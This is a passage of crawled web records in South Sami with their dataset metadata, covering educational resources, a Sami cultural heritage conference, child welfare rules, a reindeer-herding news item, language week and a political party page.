vaaltasuvvieh australijen åejvieladtjijste jïh bïejesuvvieh aktene anstaltesne juktie lïeredh tjïelke australijerinie sjïdtedh. Daate lij mij akt mij sjugniehtovvi joekoen gellie aboriginere-maanajgujmie eevre 1970-låhkoen raajan. Filme lea dehtie gærjeste Follow the rabbit-proof fence, maam Doris Pilkington Garimara lea tjaaleme.\nRabbit Proof Fence, Whale Rider, En gang var vi krigere (Once Were Warriors) jïh Saemien vïrre (Sameblod) leah filmh mah joekehtslaakan jïh joekehts perspektijvine, buerkiestieh guktie aalkoe-almetjh jielieh, jïh guktie dah leah gymhpeme juktie sijjen gïelem, sijjen laante-dajvide jïh sijjen aerpie-vuekien jielede-vuekiem utniehtidh.\nLaavenjassh\nSoptsesh aalkoe-almetji bïjre\nVeeljh aktem aalkoe-almetjem maam sïjhth goerehtidh. Vuesiehtiemmien gaavhtan, aboriginerh Australijeste, inuihth Kalaallit Nunaateste\/Kruanalaanteste, maorijh New Zeelaanteste jallh aktem aalkoe-almetjem Amerijhkeste.\n- Guktie jielieminie?\n- Mah dej vihkielommes gæmhpoe-aamhtsh?\n- Mah filmh jïh gærjah dej bïjre dorjesovveme? Man bïjre filmh jïh gærjah?\n- Dah jïjtjh filmide\/gærjide dorjeme jallh naan jeatjebh? Guktie vïenhth daate aalkoealmetje-dåehkie jielieminie gosse 30 jaepieh vaaseme?\nBaakoeh\nSaemien\nDaaroen\nåejvieladtjh\nmyndigheter\ngæmhpoe-aamhtsh\nkampsaker","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ndla.no\/subject:20\/topic:1:198284\/topic:1:182011\/resource:1:178020","date":"2022-12-01T00:49:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710777.20\/warc\/CC-MAIN-20221130225142-20221201015142-00752.warc.gz","language":"sma","language_score":0.9999829531,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999829530715942}","num_words":192,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Konferanse saemien immaterijelle kultuvreaerpien bïjre gåalkoen 3.- 4.b. Konferansen ulmie lea goerkesem jïh voerkesvoetem saemien immaterijelle kultuvreaerpien bïjre lissiehtidh mij nænnoes evtiedimmiem våaroeminie åtna. Faageles håalomi jïh digkiedimmiej tjïrrh konferanse sæjhta vijries digkiedimmiem vedtedh vaarjelimmien jïh sertemen bïjre daajrojste, aerpievuekijste jïh praksisijstie Saepmesne. Sivijle seabradahke lea ojhte dïhte vihkielommes sijjie gusnie daajroeh jïh praksish guhkiebasse serteste, jïh mijjieh edtjebe vihkeles aktöörh jïh institusjovnh bööredidh digkiedidh mah mekanismh mah sertiestimmiem aalkoeåålmegedaajroste jïh daajroejuekiemistie heerredieh jïh eevtjieh. Ulmie lea hijven strategijh evtiedidh mah edtjieh hoksedh vihkeles daajroe mubpien boelvese jåarhka. Konferansine sïjhtebe tjoevkesem bïejedh ovmessie vaarjelimmievuekide jïh guktie edtja daajroem jïh praksish sertiestidh, jïh heaptoeh vaarjelimmiebarkosne analyseeredh, juktie lissiehtamme daajroevåaromem vedtedh dan guhkiebasse barkose saemien tjeahpoem jïh kultuvrem lutnjedh. Aaj akte ulmie lissiehtamme daajroetseegkemasse sjïehteladtedh barkoen bïjre 2003-konvensjovnine ovmessie aktööri luvnie Saepmesne. Konferanse lea laavenjostoe Nöörjen Saemiedigkien jïh Nöörjen Kultuvreraerien gaskem, guejmiejgujmie Sveerjeste jïh Soemeste. Lea vihkelesvoetem raastendåaresth barkoste Saepmesne tjïertestamme goh vihkeles premisse juktie praksish, aerpievuekieh, gïelh jïh daajroem Saepmesne jåerhkedh – naakede maam tjïertestamme gelline ektiedimmine dej minngemes jaepiej. Jis sijhth konferansen meatan årrodh, maahtah dan sæjroesne dam darjodh. Vielie bievnesh konferansen bïjre Kultuvreraerien neehtesæjroesne. ArtikkelPublisertDatoFront 29.09.2022 16.36 SistEndret 30.09.2022 10.48","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/sametinget.no\/saernieh\/konferanse-saemien-immaterijelle-kultuvreaerpien-bijre-gaalkoen-3-4-b.22162.aspx","date":"2022-12-07T23:41:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711221.94\/warc\/CC-MAIN-20221207221727-20221208011727-00805.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":185,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.184,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjïelten laavenjassh\nGaajhkh tjïelth edtjieh maanavaarjelimmiedïenesjem utnedh mij dam biejjieladtje barkoem maanavaarjelimmielaaken mietie dorje. Maanavaarjelimmiedïenesje edtja viehkieråajvarimmine nïerhkedh maanese jïh fualhkan. Viehkie maahta raerie jïh bïhkedimmie årrodh, mejtie aaj jeatjah viehkieråajvarimmiejgujmie ektine. Sïejhme viehkieråajvarimmieh leah vuesiehtimmien gaavhtan maanagïertesijjie, dåarjedæjja, raerie jïh bïhkedimmie jïh viehkie hïejmesne.\nMaanavaarjelimmiedïenesjen aaj dïedte aamhtesem vaeltedh jis råajvarimmieh hïejmesne eah leah nuekies juktie maanan daerpiesvoeth gorredidh. Dellie maanavaarjelimmiedïenesje maahta akteraeresne eejhtegigujmie sijjiem foestehïejmesne jallh institusjovnesne gaavnedh akten boelhken, jallh aktene jarngesne eejhtegidie jïh maanide. Dastegh maana edtja hïejmen ålkolen bïejesovvedh bielelen eejhtegh dam luhpiehtamme, dle Fylhkemoenehtse maanavaarjelæmman jïh sosijaale aamhtesidie tjuara dam nænnoestidh, raeriestimmien mietie tjïelteste.\nFylhkenmoenehtse maanavaarjelæmman jïh sosijaale aamhtesidie\nFylhkenmoenehtse maanavaarjelæmman jïh sosijaale aamhtesidie faamoem åtna sjæjsjalimmieh vaeltedh, gaskem jeatjah aamhtesinie hoksesertiestimmien bïjre, jïh aamhtesinie tjabrehtassen bïjre noeri vööste ietjmies dåemiedimmietsagkesigujmie. Maahta sjæjsjalimmieh, mejtie fylhkenmoenehtse dorjeme, dåapmestovlide buektedh.\nFylhkenålma vååksje jïh lea klååkemesuerkie\nFylhkenålma maanavaarjelimmiebarkoem tjïeltesne vååksje. Gaskem jeatjah dle Fylhkenålma klååkoeh gïetede maanavaarjelimmiedïenesjen aamhtesegïetedæmman, jïh sjæjsjele mejtie maanavaarjelimmiedïenesje sov barkoem dorjeme maanavaarjelimmielaaken jïh reeremelaaken mietie.\nFylhkenålma aaj klååkoesuerkie aktegsnænnoestimmide mejtie maanavaarjelimmiedïenesje maanavaarjelimmielaaken mietie nænnoste. Eeremasth sæjhta aamhtesh årrodh gusnie maanah jallh eejhtegh laejhtieh sijjieh eah dam viehkiem åadtjoeh maam vaajtelieh.\nFylhkenålma aaj vååksje maanah maanavaarjelimmieinstitusjovnine eensi hoksem jïh hijven båehtjierdimmiem åadtjoeh. Vaaksjome edtja gïehtjedidh institusjovne maanide mojhteleslaakan båehtjerde, jïh fïerhten maanan jïjtjeraarehkevoetem ååktoe. Daate sæjhta jiehtedh maanah mah tjabrehtassem dååjrieh aktene maanavaarjelimmieinstitusjovnesne maehtieh Fylhkenålmese klååkedh.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.statsforvalteren.no\/sma\/Troondelagen\/Maanah-jih-eejhtegh\/Maanavaarjelimmie\/","date":"2022-12-07T14:24:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711162.52\/warc\/CC-MAIN-20221207121241-20221207151241-00520.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":222,"character_repetition_ratio":0.122,"word_repetition_ratio":0.0,"special_characters_ratio":0.107,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaejsie 2 – siebriedahkefaage teekstegærja\nGaejsie 2 teekstegærja lea siebriedahkefaagen digitaale learoevierhtie 2. klaassese.\nGåarede gærjesne plaeriedidh vueliebisnie daennie sæjrosne, veeljh maaje ellies sjeermemodusem.\nGærjese trygkeme barkoegærja jïh digitaale lohkehtæjjabïhkedimmie. Learoevierhtieraajroe lea noerhte-, julev- jïh åarjelsaemien gïelesne.\nTjaelije: Inger-Biret Vasara-Hammare Sara\nÅarjelsaemien jarkoestæjja: Ellen Bull Jonassen\nBertemeredaktööre: Kirsi Paltto\nReferansedåehkie: May-Britt Hansen Balto jïh Berit Inger Alette Gaup jïh Sofia Vasara-Hammare\nGuvvie jïh hammoe: Liisa Helander\nDeadteme: WAASA GRAPHICS OY\nNöörjen Saemiedigkie lea beetnehvierhtieh dåårjeme learoevearhtan.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.e-skuvla.no\/ya\/product\/gaejsie2-teekstegaerja\/","date":"2022-12-06T18:10:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711111.35\/warc\/CC-MAIN-20221206161009-20221206191009-00837.warc.gz","language":"sma","language_score":0.9943463206,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9943463206291199}","num_words":72,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faage Beapmoe jïh healsoe Vætnoe Eatnemefaage Musihke KRJL Saemien 1 Saemien 2, 3 jïh 4 Gïengielåbpoe saemiengïelem ööhpehtidh Siebriedahkefaage Eatnemelearoe jïh histovrije Båatsoe jïh design Religiovne jïh etihke Saemien histovrije jïh siebriedahke Saemien musihke jïh scena Saemien visuelle kultuvre Daltese Maanagïerte SAÖ 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Julevsaemiengïele Svïenskegïele Noerhtesaemiengïele Åarjelsaemiengïele Daaroengïele Gïelesïerre Magkeres Bïevnesh Juekemeareena Aamhtesh Aerpiemaahtoe Beapmoe Eatnemenåhtoe Vuelie Njaalmeldh kultuvre Duedtie Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Nöörjen histovrije Urrebe histovrije Saemien histovrije Kultuvre Filme Kåanste Litteratuvre Musihke Saavreme Aarhte jïh daajroe Healsoe Byjrese Eatnemefaage Religiovne Jielemevuajnoe Aalkoeåålmegi jaahkoe Etihke Kristelesvoeten bïjre Siebriedahke Meedije Politihke Siebriedahkedaajroe Skuvle jïh ööhpehtimmie Ökonomije Saemiengïele Gïelh jïh smaaregh heevehtslitteratuvre Grammatihke Gïelehistovrije","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/artihkal_nrk-vaarhkoe","date":"2022-11-29T12:08:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710691.77\/warc\/CC-MAIN-20221129100233-20221129130233-00645.warc.gz","language":"sma","language_score":0.9996567965,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9996567964553833}","num_words":105,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.171,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gærjaluejhteme suehpeden 7.b. ts. 13 Åarjel-saemiej skuvlesne\nGellie maanah stoerre maasjinah iehtsieh. Joekoen traktovrh. Daelie akte gærja traktovri bïjre båata åarjelsaemien gïelesne. Traktovre dïhte mij åejvieråållam åtna gærjesne, såemies snjearajgujmie jïh kaninigujmie ektine mah leah goh båantah. Guvvieh traktovri ovmessie barkoelaavenjassh vuesiehtieh.\nLohkehtæjja Anita Dunfjeld Aagård Snåaseste lea gærjam jarkoestamme\/sjïehtedamme. Daate lea dïhte gåalmede guvviegærja maam Gïelem nastedh eenngelsgïeleste jarkoste Noerhte-Trööndelagen fylhkengærjagåetine jïh Eenglaanten berteminie ektine man nomme PanMacMillian. Jienebh gærjah båetieminie. Saemiedigkie jïh Noerhte-Trööndelagen fylhkentjïelte lea bæjhkoehtimmide dåårjeme.\nSaemien Sijte sæjhta gærjam doekedh jïh åasa lea 100,- kr.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/gielemnastedh.no\/2015\/04\/gaerjaluejhteme\/","date":"2022-12-06T11:16:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711077.50\/warc\/CC-MAIN-20221206092907-20221206122907-00476.warc.gz","language":"sma","language_score":0.9999712706,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999712705612183}","num_words":87,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båatsoe saemieh, Svahken sijtesne, luhkievijhte smaave miesieh gaavnin maam vaejsjie moetesjamme. Ristin Mortensson, Svahken sijteste, straavva ,daate vaejsjie jienebh moetesjamme.\n– Luhkie vijhte smaave miesieh gaavneme. Nåake vearolde, tsukngie vearolde orreme. Ibie gaajhk gaavneme! Ij leah barre akte vaejsjie daesnie, urreste vaesjieh abpe jaepiem deavhkoe, åarjelistie jih aaj Sveerjen bieleste båateladtieh.\nHåjnoehtidh.\nSvahken sijte lea Byjresedirektoratese prieviem tjaaleme, guktie sæjhta, dihte direktorate edtja tjielke vijreme soejkesjem utnedh gåessie ov -juvrh båatsoe dajvesne moetesjimmnie. Ristin Mortensson håjnoes sjædta.\n– Våjnoe goh Staate ussjede mijjiem behtjiedidh. Ij leah naan tjoevkes båetije -biejjieh daesnie.\nStatens Naturoppsyn jih Stein Arne Brendryen, jeahta Nrkese, maahta lissie vijreme sjidtedh jis jienebh vaejsjieh, båatsoe dajvesne vuahtoe.\n– Jis jienebh båetieh dellie edtjebe vuejnedh jis tjoeveribie daam aaj vuedtjedh jeahta Brendryen.\nStoerre tjoepere båatsose\n– Støøremes tjoepere båatsoejielemasse lea jih luhpiem åadtjedh jih ov-juvrem vuedtjedh. Ij dihte Staate sijth, båatsoesaemide leajhtadidh.\nLaejhteme.\n– Ibie mijjieh luhpiem åadtjoeh vuedtjedh. SNO edtja goeretalledh jis daate reaktoe voestemes. Tïjjie nåhka, gellieh tæjmoe nåhka eannan luhpiem åadtjebe vuedtjedh. Sijhtebe aaj utnedh vijreme soejkesjem, dellie tjuara SNO mijjiem vijremebarkosne viehkiehtidh jeahta Mortensson.\nSvahken sijte, tjuara daelie krievviem ryøjnesjidh.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.nrk.no\/sapmi\/vaejsjiem-vuatjeme-1.11706270","date":"2022-11-28T05:26:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710473.38\/warc\/CC-MAIN-20221128034307-20221128064307-00655.warc.gz","language":"sma","language_score":0.9999758005,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999758005142212}","num_words":180,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Demokratije jïh meatanårrojevoete\nDemokratije jïh meatanårrojevoete goh dåaresthfaageles teema skuvlesne edtja learoehkidie daajroem vedtedh demokratijen eaktoej, aarvoej jïh spïelenjoelkedassi bïjre, jïh dejtie ryöjrehtidh meatan årrodh demokrateles prosessine. Lïerehtimmie edtja learoehkidie goerkesem vedtedh ektiedimmien bïjre demokratijen jïh vihkeles åålmehreaktaj gaskem goh soptsestimmiereakta, jïenestimmiereakta jïh organisasjovnenfrïjjevoete. Dah edtjieh goerkesem åadtjodh demokratijen leah joekehts hammoeh jïh vuekieh.\nLearohkh edtjieh aaj goerkesem åadtjodh evtiedimmien bïjre demokrateles institusjovnijste Saepmesne, jïh guktie sïjte lea vuekine orreme jïh annje lea, jïjtjemse organiseeredh. Seamma aaj faamosne saemiej dåarjoe gaskenasjonaale aalkoeåålmegelaavenjostosne jïh gaskenasjonaale latjkojde jïh konvensjovni vihkelesvoetese don demokrateles evtiedæmman. Barkoen tjïrrh seabradahkefaagine learohkh edtjieh laejhtehkslaakan ussjedidh, ovmessie perspektijvh vaeltedh, ovmessie mïelh gïetedidh jïh eadtjohke meatanårrojevoetem vuesiehtidh.\nDaesnie labh jïh laavenjassh gaavnh mejtie maahtah nuhtjedh skuvleaalkovisnie jïh abpe skuvlejaepien tjïrrh. Voestes labesne learohkh nuepiem åadtjoeh sijjen gieseste soptsestidh jïh sjaavnjoeh båetijen skuvlejaepien bïjre juekedh. Daate labe hijvenlaakan sjeahta goh murreds jïh lustes «icebreaker» skuvlejaepien aalkoelisnie. Laavenjasselabesne learohkh maehtieh dikth jïh soptsesh tjaeledh jïh guvviedidh. Minngemes labe klaassenjoelkedassh jarngesne åtna. Vierhtieh leah åajvahkommesne maanaskuvlen daltesidie, men båarasåbpoe learohkh maehtieh aaj vierhtide nuhtjedh.\nDaennie raajrosne learohkh åadtjoeh daejredh maanakonvensjonen jïh maanaj reaktaj bïjre ussjeden vuekine. Barkoevuekie aamhtesisnie lea learohki jïelemi jïh aarkebiejjien lïhke jïh maahta gïengele guarkoem vedtedh vihkeles elementijste, goh aarvoe sjïere årrodh jïh jïjtje prioteeringh mah leah vihkeles jieliedisnie.\nDaate seerije aalka dåarehtsfaagen teemesne Demokratije jïh meatanårrojevoete. Mubpien daltesen mænngan learohkh edtjieh ussjedadtedh mannasinie almetji ovmessie mïelh ovmessielaakan veeljieh. Daennie seerijisnie datne gaavnh gellie darjomh dan bïjre.\nAlmetjehealsoe jïh jieledehaalveme\nTeema edtja daajroem vedtedh guktie relasjovnh jïh ektiedimmie baajnehtamme sjidtieh aktivyöki barkoste mubpiejgujmie, aaj digitaale, jïh lea bielie maahtoste faagesne. Edtja viehkiehtidh guktie learohkh maehtieh hijven veeljemh vaeltedh jieliedisnie jïh haestemh gïetedidh seksualiteeten, persovneles ekonomijen, ålkoestimmien jïh digitaale ektiedahkoen bïjre. Teema edtja aaj viehkiehtidh goerkesem, seahkarimmiem jïh toleraansem sjugniedidh gellievoetese, mubpiej aarvojde jïh jieledeveeljemidie, jïh perspektijvh vedtedh mij hijven jielede maahta årrodh. Learohkh edtjieh maehtedh suerkieh identifiseeredh gusnie almetjeaarvoem haasta, goh almetjeåesiestimmesne jïh mijjen baelien slaaverijesne, jïh råajvarimmieh buektedh mah almetji vihkeles daerpiesvoeth gorredieh.\nSeabradahke mij hijven healsoeveeljemidie fïereguhten luvnie sjïehteladta, lea joekoen hijven almetjehealsose. Jieledehaalveme lea maehtedh guarkedh jïh maehtedh faktovrh baajnehtidh mah mïelem utnieh jïjtse jieledem haalvedh. Teema edtja aaj viehkiehtidh guktie learohkh lierieh mietiemoerem jïh vuestiebïegkem jïh praktihkeles haestemh bööremeslaakan gïetedidh.\nAdveentelabe fïerhten skuvlebeajjan goeven. Fïerhten biejjien aktem sïllem gaavnh daanbeajjetje biejjielåhkoesæjrojne, daanbeajjetje onne onterdimmine jïh aktem raeriestimmiem akten darjomen bïjre maam maahta darjodh adveentetïjjen. Datne jåvlelaavlomh, filmebïetskh, ussjedadtemelaavenjassh jïh såemies kreatijve darjomh gaavnh. Goh gaajhkh jeatjah labine maahtah jïjtje sïllide sertedh jïh jarkelidh guktie dov ööhpehtæmman jïh dov adveenteståantese sjeahta.\nLearnLab seerije MANNE FUNTERDEM lea seerije skreejreme tjetskehkepierevuekeste mij sjeahta lïerehtæmman skuvlen aarkebiejjien. Daate vuekie sjeahta faageorrestæmman. Seerijisnie maanah funterdieh jïh ussjededtieh, jïh skreejrie maanah eadtjohke meatan jïh gïengeles lïeremasse. Ulmie lea learoehkidie lahtesh jïh dååjrehtimmieh vedtedh mah dah maehtieh jeatjah faagide meatan vaeltedh.\nDaennie aamhtesisnie «Ektesne årrodh» hov gïetedallijibie guktie buerie voelpine årrodh, laavseme, jïh aanteges vedtedh jïh luejhtedh. Guktie edtja buerie voelpine årrodh? Lab:ine ovmessie tjoeperh jïh gyhtjelassh mah gïengelåbpoe sjïdtieh barkoen mietie. Learohke eadtjaldahta jïjtse gïeleåtnoem måjhtelidh, jïh jïjtse jïh mubpiej dahkoeh gïehtjedidh. Åeliedimmie lea voernges baakoe. Raajrosne jïjnjebh lab:h mah sinsitniem dåeriedieh, men aaj gåarede dejtie sïerrene sinsitneste nuhtjedh. Learohkh maehtieh gærjam darjodh jallh sov gærjesne tjaeledh Storylabesne. Dan nomme maahta årrodh Mov identiteete, Mov skaehtiegæstoe jallh Mov gæstoe.\nÖöhpehtimmie seksualiteeten bïjre edtja viehkiehtidh guktie maanah jïh noerh leah ryöjredamme ovmessie sosijaale jïh seksuelle tsiehkieh dåastodh hijvenlaakan. Geerve almetji dïedte maanah vaarjelidh. Juktie dam buektiehtidh geerve almetjh tjuerieh jearsoe mierieh jïh sijjiem vedtedh ihke maanah edtjieh doestedh soptsestidh daaresjimmiej bïjre. Maehtebe dam darjodh viehkine aamhtesem seksuelle daaresjimmieh meatan vaeltedh ööhpehtimmesne jïh learoehkidie nuepiem vedtedh ussjedadtedh jïh gyhtjelassh gihtjedh. Maanagujmie seksuelle daaresjimmiej bïjre soptsestidh viehkehte maanaj reaktam vaarjelæmman illedh. Learohkh maehtieh gærjam darjodh jallh sov gærjesne tjaeledh Storylabesne. Dan nomme maahta årrodh Mov identiteete, Mov skaehtiegæstoe jallh Mov gæstoe.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/info.learnlab.net\/no\/laeringsressurser\/sorsamiske-laeringsressurser\/innhold-sorsamisk-1-2-trinn\/daaresthfaageles-teemah-1-2-daltese\/","date":"2023-02-02T08:56:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499967.46\/warc\/CC-MAIN-20230202070522-20230202100522-00120.warc.gz","language":"sma","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 1.000008225440979}","num_words":627,"character_repetition_ratio":0.05,"word_repetition_ratio":0.036,"special_characters_ratio":0.126,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jalhts leah vaahresne nåhkedidh, saemien gïelh jåerhkieh kreeptjedidh. Nov lea håhkoe. Akte sjïdtije voerkesvoete saemiej luvnie gïelen jïh gïeleveeljemen bïjre, jïh ahkedh jienebh veeljieh meatan årrodh kuvsjine juktie gïelem bååstede vaeltedh maam aarebi boelvh leah dasseme. Dajvine gusnie saemien ij leah åtnosne orreme akte jallh göökte boelvh, noere geerve almetjh daelie gïelem bååstede vaeltieh jïh vååregelaakan pryövoeh dam guhkiebasse vedtedh sijjen maanide. Orre boelve saamastallije maanajgujmie sjïdtedeminie.\nDovne Saepmien nöörjen, sveerjen jïh soemen bielesne dååjrebe stoerreseabradahke eantan stuerebe ïedtjem jïh eadtjohkevoetem saemien gïelijste vuesehte, jïh saemieh gaajhkine laantine stuerebe jååhkesjimmiem sijjen kultuvrese jïh sijjen gïelide dååjroeh. Ïedtje saemien siebriedahkese lea stoerre, jïh tïjje ektie aktivyöki gïelebarkoen åvteste ij lij maahteme buerebe årrodh.\nGuktie maahtah meatan sjïdtedh?\nMijjieh datnem haestebe programmem vuartasjidh, jïh öörnemh dov lïhke gaavnedh. Gaskesadth maaje dov lïhkemes gïelejarngem juktie darjomh jïh öörnemh gaavnedh don våhkoen. Gïelevåhkoen lea jïjtse facebook-sæjroe «Giellavahkku\/ Gïelevåhkoe\/ Giellavahkko\/ Samisk språkuke», jïh mijjieh datnem haestebe meatan fulkedh desnie juktie saernieh jïh orrestehtemh vuejnedh bïjre jarkan Saepmesne. Mijjen aaj instagram-konto «giellavahku», jïh daesnie sïjhth filmh, guvvieh jïh orrestehtemh abpe våhkoen gaavnedh.\nMijjieh gegkiestibie datne meatan sjïdth gaajhkine gieltegs heannadimmine, mejtie leah meatan fysiske jallh digitaale öörneminie. Nuhtjh saemien sosijaale medijinie abpe våhkoen, årroeh meatan mijjen tjaebpies, saemien gïelh våajnoes darjodh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/giellavahkku.org\/sma\/man-avteste-gielevahkoe-vihkele\/","date":"2023-02-02T09:06:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499967.46\/warc\/CC-MAIN-20230202070522-20230202100522-00145.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":205,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NSR lea kultuvrepolitihkeles organisasjovne mij dovne kultuvrebarkojne gïehtele jïh læstoeh Saemiedigkieveeljemasse beaja. Daesnie maahtah mijjen politihkine åahpenidh mij gaajhkh seabradahkedajvide Saepmesne feerhmie.\nMijjen politihke\nPolitihkedajvh\nNSR barka ihke saemien gïelem jïh kultuvrem nænnoestidh. Mijjese daan biejjien jïh boelvide båetije biejjien.\nNSR seammavyörtegsvoeten åvteste gymhpe. Seammavyörtegs healsoe jïh ööhpehtimmiefaalenassh, jïh akte seammavyörtegs jïh baahke Saepmie.\nNSR barka aerpievuekien jïh orre jieledi åvteste, jïh orre digitaale jïh teknihkeles nuepieh nuhtjie.\nNSR reaktaj åvteste barka, laavenjosteme raastaj dåaresth jïh solidariteete, jïh eatneme, byjrese- jïh klijmagyhtjelassi bïjre seahkere.\nVeeljeme 2021\nSaepmie gellielaaketje jïh NSR Saemiedigkieveeljemasse 2021 mænna\naktene veeljemeprogrammine gaajhkide saemide. Saemieh edtjieh buerie\njielididie utnedh saaht gusnie årroeminie jïh aalkoetsiehkine. Dïedtelh\ndaesnie jis sïjhth mijjen kandidaatide vuejnedh!","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/nsr.no\/sma\/mijjen-politihke\/","date":"2023-02-03T20:22:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500074.73\/warc\/CC-MAIN-20230203185547-20230203215547-00641.warc.gz","language":"sma","language_score":0.9999824762,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.999982476234436}","num_words":112,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nTjaeledh\nGosse datne tjaalah, dellie maahtah dov tjaalegem soejkesjidh, jeatjahtehtedh jïh bueriedidh. Mujhtieh dah mah dov tjaalegem luhkieh, eah maehtieh datnem gihtjedh jis ih tjïelke tjaaleme. Hijven tjaeleme teekste lea buerie viehkie lohkijasse jïh aaj luste lohkedh.\nGuktie lohkije-teekstem tjaeledh\nGellie almetjh lyjhkoeh lohkije-teeksth lohkedh. Lohkije-teekstesne datne maahtah dov presovneles vuajnojne båetedh. Datne dov åssjaldahki jïh domtesi bïjre tjaalah. Lïerh guktie maahtah dam darjodh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:49b7764c-2e18-4f5f-9bb6-b3ca739f519b\/","date":"2023-02-03T20:02:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500074.73\/warc\/CC-MAIN-20230203185547-20230203215547-00824.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":68,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh vaajtelibie datne barkoem Raarvihken tjïeltesne ohtsh.\n- Jielijes voenge\nRaarvihken åålmehmiehtjien tjïelte vijrenohkine, gusnie maehtieh vaarredh,vijredh jïh gööledh. Lïhke laategidie jïh alpijnedeavide Byrkijejarngesne. Raarvihken tjïelte lea saemien reeremetjïelte, gusnie åarjelsaemien gïele- jïh kultuvre jarngesne. Raarvihke tjïelten hijven kultuvre- jïh siebriejieleme. Tjïelten hijven skuvle jïh maanagïertefaaleldahke. Maahta dovne jearsoes jïh hijven byjjenimmiem faaledh.\nRaarvihken tjïelte- mejtie dov vihkielommes veeljeme\nBarkoe lea laaken, njoelkedassi jïh tariffelatjkoen mietie jïh 2 % KLP:se. 